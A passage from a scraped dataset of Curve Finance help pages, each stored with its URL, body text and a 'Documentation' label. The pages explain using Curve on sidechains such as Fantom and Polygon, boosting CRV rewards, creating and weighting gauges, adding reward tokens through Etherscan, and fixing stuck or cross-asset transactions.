RPC and chain ID. Generally Curve sidechain pages have a button you can press to automatically switch networks and populate this information for you. A common issue with sidechains is RPC networks that are temporarily or permanently unavailable. If you are having trouble connecting with RPC networks you may need to visit the chain's support networks to find a new RPC network. Curve Forks Tip For Bridges and CRV contract addresses on other chains please see Important Bridges . Curve forks include the following: Avalanche Avalanche is a sidechain that bills itself as \"blazingly fast, low-cost and eco-friendly.\" Curve's Avalanche site is hosted at https://avax.curve.fi/ Arbitrum Arbitrum is an Optimistic Ethereum L2. Arbitrum validators optimistically assume nodes will be operating in good faith, which allows for faster transactions. However, to retroactively allow opportunity to challenge malicious behavior, settlement time can be slower. In some cases this could mean it takes up to one week to bridge funds off-chain, so plan accordingly. Curve on Arbitrum: https://curve.fi/#/arbitrum/pools Binance Smart Chain Curve does not operate on Binance Smart Chain. The team at Ellipsis ( https://ellipsis.finance/ ) launched a fork of Curve that provides similar functionality. The Curve team authorized this fork, but does not actively maintain this fund. Fantom Fantom is a high-performance, scalable, and secure smart contract platform designed to overcome the limitations of traditional blockchain networks by utilizing a DAG-based consensus algorithm. Curve on Fantom: https://curve.fi/#/fantom/pools Harmony Harmony is a proof-of-stake sidechain promising two seconds of transaction speed and a hundred times lower gas fee. Curve's Harmony offerings are at https://harmony.curve.fi/ . Optimism Optimism is verified by a series of smart contracts on the Ethereum mainnet and thus not considered a real sidechain. Curve's Optimism branch is located at https://curve.fi/#/optimism/pools Polygon Polygon (previously known as Matic Network) is a multi-chain scaling solution for Ethereum that aims to provide faster and cheaper transactions using Layer 2 sidechains. Curve on Polygon: https://curve.fi/#/polygon/pools xDai/Gnosis The xDai chain is a stable payments EVM (Ethereum Virtual Machine) blockchain designed for fast and inexpensive transactions. Curve on xDai/Gnosis: https://curve.fi/#/xdai/pools 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Using curve on fantom", - "html_url": "https://resources.curve.fi/multichain/using-curve-on-fantom/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Using Curve on Fantom Changing your MetaMask network Acquiring FTM Head to Curve Using curve on fantom Using Curve on Fantom Changing your MetaMask network Fantom is an EVM-compatible chain meaning it can easily run with MetaMask. The first step of this tutorial is to set up a different the Fantom network on Metamask. Click on Settings and Networks and add. Fill details as below: RPC: https://rpcapi.fantom.network Chain Id: 250 Symbol: FTM Explorer: https://ftmscan.com Acquiring FTM Now that you're set up in MetaMask, you can browse any Fantom dapps with ease. Each account on Ethereum also exists on Fantom which means you can use the same addresses without issues on Ethereum and Fantom. Please note Fantom does not yet support MetaMask via Ledger. To get started you'll need to get Fantom native currency FTM, you can acquire it on SushiSwap or most centralised exchanges. For the latter, you can transfer directly to your Fantom address via the Fantom blockchain. If you purchase FTM on the Ethereum blockchain, you can cross to Fantom using bridges. This will let you transfer FTM from Ethereum to Fantom and start transacting. Head to Curve Once that's done you can also bridge USDC/DAI and deposit and swap on Curve Fantom website making sure you're connected to the Fantom network in your MetaMask settings: Curve.fi Experience Curve like it's January 2020 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Using curve on polygon", - "html_url": "https://resources.curve.fi/multichain/using-curve-on-polygon/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Using Curve on Polygon Changing your MetaMask network Acquiring Matic to pay for transaction fees Head to Curve Using curve on polygon Using Curve on Polygon Changing your MetaMask network Upon visiting https://polygon.curve.fi/ , you will be prompted to change your network on Metamask: Acquiring Matic to pay for transaction fees Transaction fees on Matic are very cheap usually costing less than $0.0001 but you'll still need Matic to pay for gas. You can bridge some from Ethereum using the link below: Polygon Head to Curve Once that's done you can also bridge USDC/DAI and deposit and swap on Curve Polygon website making sure you're connected to the Polygon network in your MetaMask settings: Curve.fi If you haven't used Curve below you can check out the tutorial below: Depositing 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Boosting your CRV rewards", - "html_url": "https://resources.curve.fi/reward-gauges/boosting-your-crv-rewards/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Boosting your CRV rewards Table of contents Figuring out your required boost Locking your CRV Applying your boost Boost Info Formula FAQ Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Figuring out your required boost Locking your CRV Applying your boost Boost Info Formula FAQ Home Reward Gauges Boosting your CRV rewards This guide is assuming you have already provided liquidity and that you are currently staking your LP tokens on the DAO gauge. One of the main incentive for CRV is the ability to boost your rewards on provided liquidity. Vote locking CRV allows you to acquire voting power to participate in the DAO and earn a boost of up to 2.5x on the liquidity you are providing on Curve. Click below if you have questions about how the vote locking boost works: Vote Locking Boosting your rewards video guide: https://www.youtube.com/watch?v=blZTCWu-DQg Figuring out your required boost The first step to getting your rewards boosted is to figure out how much CRV you'll need to lock. All gauges have different requirements meaning some pools are easier to boost than others. It depends on how much others have locked and how much the liquidity gauge has. You can find the calculator at this address: https://dao.curve.fi/minter/calc Locking your CRV Once you know how much and how long you wish to lock for, visit the following page: https://dao.curve.fi/locker Enter the amount you want to lock and select your expiry. Remember locking is not reversible. The amount of veCRV received will depend on how much and how long you vote for. You can extend a lock and add CRV to it at any point but you cannot have CRV with different expiry dates. After creating your lock, you will need to apply your boost. Applying your boost Head over to the minter page: https://dao.curve.fi/minter/gauges If you see your new boost after Current boost: then you do not need to do anything else. If your current boost hasn't moved, you will need to claim CRV from each of the gauge you're providing liquidity in to update your boost. After doing so, your boost should be showing. Your boost will not be updated until you withdraw, deposit or claim from a liquidity gauge. Boost Info The list of pools and boost/reward info has moved away from the minter page. You can now find all this information on each pool page, on the classic.curve.fi site. Alternatively, this information can also be found in the new UI ( curve.fi ) under the \"Your Details\" section on the pool page. Be aware: The new UI does not display future boost yet. Head to the old or new dashboard to see all your pools! Formula The boost mechanism will calculate your earning weight by taking the smaller amount of two values. The first value is simple, it's the amount of liquidity you are providing which in this example is $10,000. This amount is your maximum earning weight. FAQ Vote Locking 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Creating a pool gauge", - "html_url": "https://resources.curve.fi/reward-gauges/creating-a-pool-gauge/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Creating a pool gauge Table of contents Deploy a Gauge Deploy a Gauge via Etherscan Submit a DAO Vote Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Deploy a Gauge Deploy a Gauge via Etherscan Submit a DAO Vote Home Reward Gauges Creating a pool gauge Deploy a Gauge You can deploy the gauge directly through the UI simply by posting the address: https://classic.curve.fi/factory/create_gauge Deploy a Gauge via Etherscan In addition to the UI, there is an option to deploy the gauge directly through Etherscan. Warning Calling deploy_gauge on Etherscan will only work if the function is called on the Factory contract that also deployed the pool. To navigate to this page, first search for the corresponding Factory contract on Etherscan. Then, go to Contract -> Write Contract -> deploy_gauge . Then insert the pool address you want to add a gauge for, press on Write and sign the transaction. Before deploying the gauge, ensure you connect your wallet by clicking the Connect to Web3 button. Submit a DAO Vote Once you've created your gauge, you need to submit it to the DAO for a vote. https://classic.curve.fi/factory/create_vote The address that submits must have 2500 veCRV in order to create a vote. Once the gauge has been submitted, politics take over. You may want to visit the governance forum and explain why your pool should be made eligible for rewards. Governance Forum 2023-10-01 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Gauge weights", - "html_url": "https://resources.curve.fi/reward-gauges/gauge-weights/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Gauge weights Table of contents What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? What happens when I add additional CRV to my existing lock or extend the locktime? Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents What are gauge weights? Why are gauge weights so important? Who can vote for gauge weights? How can I vote? How often can I move my voting weight? What happens when I add additional CRV to my existing lock or extend the locktime? Home Reward Gauges Gauge weights What are gauge weights? Simply put, a gauge weight translates into how much of the daily CRV inflation it receives. For example on the below chart, the Y pool is currently receiving around 72% of the daily CRV inflation. This means that all liquidity providers in the Y pool share 72% of the daily CRV. You can find each liquidity gauge relative weight on this page: https://dao.curve.fi/minter/gauges Why are gauge weights so important? Because those weights decide where the CRV inflation goes, it allows the DAO to control where most of the liquidity should go and balance liquidity. It's a powerful tool for voters that must be used responsibly. The gauge weight is updated once a week on Thursdays. Who can vote for gauge weights? Anybody who has vote locked CRV can vote to direct its voting power towards one or multiple Curve pools. How can I vote? Visit this link: https://dao.curve.fi/gaugeweight Select the gauge you would like to put your voting weight towards, enter an amount in BPS (10,000 = 100% the maximum) and confirm your transaction. How often can I move my voting weight? You can change your voting weight once every 10 days. What happens when I add additional CRV to my existing lock or extend the locktime? Adding more $CRV to your lock or extending the locktime increases your veCRV balance. This increase is not automatically accounted for in your current gauge weight votes. If you want to allocate all of your newly acquired voting power, make sure to re-vote. Warning Resetting your gauge weight before re-voting means you'll need to wait 10 days to vote for the gauges whose weight you've reset. So, please ensure you simply re-vote; there is no need to reset your gauge weight votes before voting again. 2023-10-09 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": " ", - "html_url": "https://resources.curve.fi/reward-gauges/permissionless-rewards/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Permissionless rewards Table of contents Guide to Set Any Token Reward on a Gauge Setting the Reward Token and Distributor Address Call add_reward() on Etherscan Approving the Reward Token for Deposit Call approve() on Etherscan on the reward token contract Depositing the Reward Token Call deposit_reward_token() on Etherscan on the gauge Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Guide to Set Any Token Reward on a Gauge Setting the Reward Token and Distributor Address Call add_reward() on Etherscan Approving the Reward Token for Deposit Call approve() on Etherscan on the reward token contract Depositing the Reward Token Call deposit_reward_token() on Etherscan on the gauge Home Reward Gauges Guide to Set Any Token Reward on a Gauge This guide explains the process of setting any token reward using Etherscan. It's assumed that you possess some familiarity with Etherscan or are competent in executing this transaction through an alternative tool. Note that Curve has employed various gauge versions over time. If your attempts are unsuccessful, it might be due to version differences. Should you encounter repeated failures, please seek our assistance. Setting the Reward Token and Distributor Address Specify the reward token and the distributor address . The distributor address is the source from which the reward token will be sent to the gauge. Info Ensure you have the required admin/manager privileges for the gauge. The address that deployed the gauge is set as the admin/manager . If you are not admin/manager, this call will fail. To identify the manager, check the manager/admin in the \"Read Contract\" section on Etherscan. Some versions of this contract may also allow the factory owner to execute this call. The deployer of the gauge is usually the manager of the gauge if the gauge was deployed via the Proxy of the Factory. If the gauge was deployed directly through the Factory contract itself, a quick migration needs to occur (see here ). Call add_reward() on Etherscan This function should be called only once for a specific reward token. A repeated call to add_reward using a previously set reward token will fail. However, the distributor address for an already added reward token can be updated using the set_reward_distributor function. Over the lifetime of a gauge, a total of 8 different reward tokens can be set. As add_reward() is an admin guarded function, you might need to call it from a ProxyContract. More information here . Info On sidechains, permissionless rewards are directly built into the gauges. Whoever deploys the gauge can call add_rewards on the gauge contract itself (no need to migrate or do it via proxy). add_reward(_reward_token: address, _distributor: address): Function to add a reward token and distributor on Etherscan. Parameter Type Description _reward_token address Reward Token Address _distributor address Distributor Address, who can add the Reward Token Approving the Reward Token for Deposit Visit the reward token contract address on Etherscan and switch to the \"Write Contract\" tab. Use the approve() function, setting the spender as the gauge contract address and specifying the desired amount. Call approve() on Etherscan on the reward token contract approve(_spender : address, _value : uint256) -> bool: Function to approve _spender to transfer _value tokens. Parameter Type Description _spender address Gauge Contract Address _value uint256 Amount to approve Depositing the Reward Token Deposit the reward token to the contract. This action initiates the first reward epoch, lasting a week (defined as 604,800 seconds or 7 * 24 * 3600). If no additional reward token is deposited using the same function, this reward epoch ends after the week. Should you add new tokens during an ongoing epoch, both the new tokens and any remaining ones are combined, triggering a fresh week-long epoch. For consistent reward distributions, it's advisable to deposit near the end of an epoch. If replenishing mid-epoch, ensure you compute the appropriate amount for a steady distribution rate. For tokens with 18 decimals: 1 full token = 1 * 10^18 = 1000000000000000000. This function must be called using the distributor address. A previous distributor address or an admin can update the distributor address using set_reward_distributor() if necessary. Call deposit_reward_token() on Etherscan on the gauge deposit_reward_token(_reward_token: address, _amount: uint256): Function to deposit _amount of _reward_token into the gauge. Parameter Type Description _reward_token address Reward Token Address _amount uint256 Amount to be distributed over the week 2023-10-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding gauges", - "html_url": "https://resources.curve.fi/reward-gauges/understanding-gauges/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Understanding gauges Table of contents The gauge system The weight system The DAO Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents The gauge system The weight system The DAO Home Reward Gauges Understanding gauges Reviewing the gauge system, one of the Curve DAO base feature. The gauge system On Curve Finance, the inflation is going to users who provide liquidity. This usage is measured with gauges. The liquidity gauge measures how much a user is providing in liquidity. The liquidity gauge measures how many dollars you have provided in a Curve pool. Each Curve pool has its own liquidity gauge where you can stake your liquidity provider tokens The weight system Each gauge also has a weight and a type. Those weights represent how much of the daily CRV inflation will be received by the liquidity gauge. The DAO The weight systems allow the Curve DAO to dictate where the CRV inflation should go. You can vote at this address: https://dao.curve.fi/gaugeweight By doing so, you can put your voting power towards the liquidity gauge (or pool) you think should receive the most CRV. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Cross-Asset swaps", - "html_url": "https://resources.curve.fi/troubleshooting/cross-asset-swaps/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Cross-Asset swaps Table of contents Settlement and completing your trade Technical Docs Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Settlement and completing your trade Technical Docs Home Troubleshooting Cross-Asset swaps Cross-asset swaps are a new type of swaps on Curve using Synthetix as a bridge. There are a few things to know about them before getting started: They have very little slippage, they can handle seven and eight-figure trades with no slippage They take six minutes due to the Synthetix settlement period and prices can move during that period You can trade any asset as it shares a pool with a synth (sUSD/sETH/sBTC) They are in beta They are expensive (~$80 at 50 gwei) and therefore best suited for large trades They have two parts and thus two transactions Initiating the trade After selecting the two assets you would like to trade, click sell and confirm the first part of your transaction. For the route below, we will go from DAI to sUSD to sBTC to renBTC. The first part of the trade takes you to sBTC. Upon confirmation you will receive an NFT which represents your trade. The trade will immediately enter a settlement period of six minutes. It is best not to close your browser during that period. Settlement and completing your trade After Synthetix settlement period, you will then be able to complete your trade by clicking the Complete trade button. This second part will then take you from sBTC to renBTC. After confirming this transaction, you then receive your renBTC. Technical Docs Read technical docs here: https://curve.readthedocs.io/cross-asset-swaps.html 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Disabling crypto wallets in brave", - "html_url": "https://resources.curve.fi/troubleshooting/disabling-crypto-wallets-in-brave/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Disabling crypto wallets in brave Table of contents Pointing Brave to Metamask Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Pointing Brave to Metamask Home Troubleshooting Disabling crypto wallets in brave The native \"Crypto Wallets\" app in your Brave browser can often interfere with your web3 provider. When using Metamask, it is important to make sure Brave is pointing to it and not its native implementation. Pointing Brave to Metamask Open your web browser, and paste the following in your URL bar: brave://settings/extensions Click the dropdown and switch to Metamask. You can also disable Crypto Wallets on startup. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Dropping and replacing a stuck transaction", - "html_url": "https://resources.curve.fi/troubleshooting/dropping-and-replacing-a-stuck-transaction/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Dropping and replacing a stuck transaction Table of contents Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Enable custom nonce in Metamask Finding your pending transaction nonce Replacing your transaction Home Troubleshooting Dropping and replacing a stuck transaction A short tutorial on dropping and replacing a stuck Ethereum transaction. You've submitted a transaction in Metamask and it just won't come through. Those gas estimates betrayed you and you're stuck looking at your pending transaction on Etherscan. It's happened to everyone and it's not pleasant but there's a fairly simple solution which most people will come to learn about. This guide isn't Curve Finance specific but as gas prices are reaching new highs, stuck transactions are getting more common and knowing how to drop and replace is thus become more and more useful. First and foremost, it's important to understand you can only do this if your transaction is pending. If it isn't your transaction cannot be cancelled anymore. If you want to understand how this works, you should know that Ethereum transactions must be submitted with an incremental nonce. Each transaction has a nonce (a number) assigned to it and a number cannot be skipped. The way to replace and drop is to submit a new transaction with a higher gas price and the same nonce. This will tell the miners this more expensive transaction is the one that should be mined and your stuck transaction will be discarded. Enable custom nonce in Metamask Visit Metamask and select \"Settings\", then \"Advanced\" and scroll down to find and enable \"Customize transaction nonce\". Finding your pending transaction nonce Visit your address on Etherscan and click on your pending transaction. If you scroll down you will find \"Nonce\": Write down this nonce and return to Metamask. Replacing your transaction Now that you have your nonce, go back to Ethereum and send yourself 0 Ethereum, on the confirmation screen, type the nonce you got from Etherscan. Make sure your gas price is suitable this time by checking https://ethgasstation.info/ for example. Confirm your transaction and that's it. Your 0 Ethereum transaction should be mined which will drop and replace your stuck transaction which you can confirm on Etherscan. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Recovering cross-asset swaps", - "html_url": "https://resources.curve.fi/troubleshooting/recovering-a-cross-asset-swap/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Recovering cross-asset swaps Table of contents Finding the token id Initiate recovery Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Finding the token id Initiate recovery Home Troubleshooting Recovering cross-asset swaps If Curve has lost transaction of your cross asset swap, do not panic, there is a simple way to recover it. Finding the token id Visit your address on Etherscan and click on ERC721: And then click on your latest cross-asset swap, you should find a long string of numbers like below: Initiate recovery Visit: https://www.curve.fi/recover Enter your token id found on Etherscan, enter your the token you would like to receive (if your token has sBTC then it must be a Bitcoin token that shares a pool with sBTC, if your token is sUSD, it should be a token that shares a pool with sUSD) and then click recover. Confirm your transaction and you're done. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Support", - "html_url": "https://resources.curve.fi/troubleshooting/support/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding 